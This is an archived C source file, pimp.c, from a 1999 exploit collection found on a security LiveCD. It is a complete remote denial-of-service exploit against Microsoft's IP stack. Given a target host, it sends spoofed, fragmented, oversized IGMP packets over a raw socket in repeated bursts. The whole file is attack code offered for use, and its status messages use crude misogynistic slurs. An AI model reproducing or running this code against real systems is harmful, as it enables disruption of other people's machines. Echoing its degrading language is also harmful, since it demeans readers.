home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / pimp.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  124 lines

  1.  
  2. /*
  3. ** pimp.c 6/4/99 by Rob Mosher: nyt@deadpig.org
  4. ** exploits bug in m$'s ip stack
  5. ** rewrite by nyt@EFnet
  6. ** bug found by klepto
  7. ** usage: pimp <host>
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <netdb.h>
  15. #include <netinet/in.h>
  16. #include <netinet/in_systm.h>
  17. #include <netinet/ip.h>
  18. #include <sys/socket.h>
  19.  
  20. struct igmp
  21. {
  22.         unsigned char igmp_type;
  23.         unsigned char igmp_code;
  24.         unsigned short igmp_cksum;
  25.         struct in_addr igmp_group;
  26. };
  27.  
  28. #define ERROR(a) {printf("ERROR: %s\n", a);exit(-1);}
  29.  
  30. u_long  resolve(char *);
  31.  
  32. int main(int argc, char *argv[])
  33. {
  34.  int nsock, ctr;
  35.  char *pkt, *data;
  36.  struct ip *nip;
  37.  struct igmp *nigmp;
  38.  struct sockaddr_in s_addr_in;
  39.  
  40.  setvbuf(stdout, NULL, _IONBF, 0);
  41.  
  42.  printf("pimp.c by nyt\n");
  43.  
  44.  if(argc != 2)
  45.   ERROR("usage: pimp <host>");
  46.  
  47.  if((nsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
  48.   ERROR("could not create raw socket");
  49.  
  50.  pkt = malloc(1500);
  51.  if(!pkt)
  52.   ERROR("could not allocate memory");
  53.  
  54.  memset(&s_addr_in, 0, sizeof(s_addr_in));
  55.  memset(pkt, 0, 1500);
  56.  
  57.  nip = (struct ip *) pkt;
  58.  nigmp = (struct igmp *) (pkt + sizeof(struct ip));
  59.  data = (char *)(pkt + sizeof(struct ip) + sizeof(struct igmp));
  60.  memset(data, 'A', 1500-(sizeof(struct ip) + sizeof(struct igmp)));
  61.  
  62.  s_addr_in.sin_addr.s_addr = resolve(argv[1]);
  63.  
  64.  nip->ip_v  = 4;
  65. nip->ip_hl  = 5;
  66.  nip->ip_tos  = 0;
  67.  nip->ip_id  = 69;
  68.  nip->ip_ttl  = 255;
  69.  nip->ip_p  = IPPROTO_IGMP;
  70.  nip->ip_sum  = 0;
  71.  nip->ip_dst.s_addr = s_addr_in.sin_addr.s_addr;
  72.  nip->ip_src.s_addr = 2147100000;
  73.  nigmp->igmp_type = 2;
  74.  nigmp->igmp_code = 31;
  75.  nigmp->igmp_cksum = 0;
  76.  
  77.  inet_aton("128.1.1.1", &nigmp->igmp_group);
  78.  
  79.  printf("pimpin' dem trick-ass-bitches");
  80.  
  81.  for(ctr = 0;ctr < 15;ctr++)
  82.  {
  83.   printf(".");
  84.   nip->ip_len  = 1500;
  85.   nip->ip_off  = htons(IP_MF);
  86.   sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
  87. sizeof(s_addr_in));
  88.  
  89.   nip->ip_off  = htons(1480/8)|htons(IP_MF);
  90.   sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
  91. sizeof(s_addr_in));
  92.  
  93.   nip->ip_off  = htons(5920/8)|htons(IP_MF);
  94.   sendto(nsock, pkt, 1500, 0, (struct sockaddr *) &s_addr_in,
  95. sizeof(s_addr_in));
  96.  
  97.   nip->ip_len   = 831;
  98.   nip->ip_off  = htons(7400/8);
  99.   sendto(nsock, pkt, 831, 0, (struct sockaddr *) &s_addr_in,
  100. sizeof(s_addr_in));
  101.  
  102.   usleep(500000);
  103. }
  104.  
  105.  printf("*slap* *slap* bitch, who yo daddy\n");
  106.  shutdown(nsock, 2);
  107.  close(nsock);
  108. }
  109.  
  110. u_long resolve(char *host)
  111. {
  112.         struct hostent *he;
  113.         u_long ret;
  114.  
  115.         if(!(he = gethostbyname(host)))
  116.         {
  117.                 herror("gethostbyname()");
  118.                 exit(-1);
  119.         }
  120.         memcpy(&ret, he->h_addr, sizeof(he->h_addr));
  121.         return ret;
  122. }
  123.  
  124.